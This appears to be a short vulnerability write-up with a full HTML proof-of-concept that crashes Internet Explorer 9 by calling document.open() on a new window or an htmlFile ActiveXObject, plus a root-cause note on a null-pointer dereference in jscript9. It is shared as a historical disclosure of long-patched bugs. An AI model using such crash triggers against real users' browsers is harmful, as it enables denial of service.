This was a fairly simple crash to stumble onto. Calling document.open() on a freshly created Trident instance — either a new blank window or an htmlFile ActiveXObject — would reliably take the browser down. Two distinct paths lead to the same outcome.

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>IE9_DoS_documentOpen_on_a_new_Trident</title></head>
<body>
<input type="button" size="50" onclick="poc1()" value="POC 1 - CrashMe!">
<input type="button" size="50" onclick="poc2()" value="POC 2 - CrashMe!">

<script language="JavaScript">
function poc1()
{
    w = window.open();
    w.document.open();
}
function poc2()
{
    doc = new ActiveXObject("htmlFile");
    doc.open().close();
    doc.open(); // Crash!
}
</script>
</body>
</html>

The crash lands in jscript9!MarshalJsVarToVariantWithScriptEnter when the engine tries to marshal a variant out of a script context that has not been properly initialized. A freshly opened window or an htmlFile that has only been round-tripped through open()/close() once leaves internal state inconsistent enough that a second open() call dereferences a null pointer. Both paths were classified as UNKNOWN exploitability.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.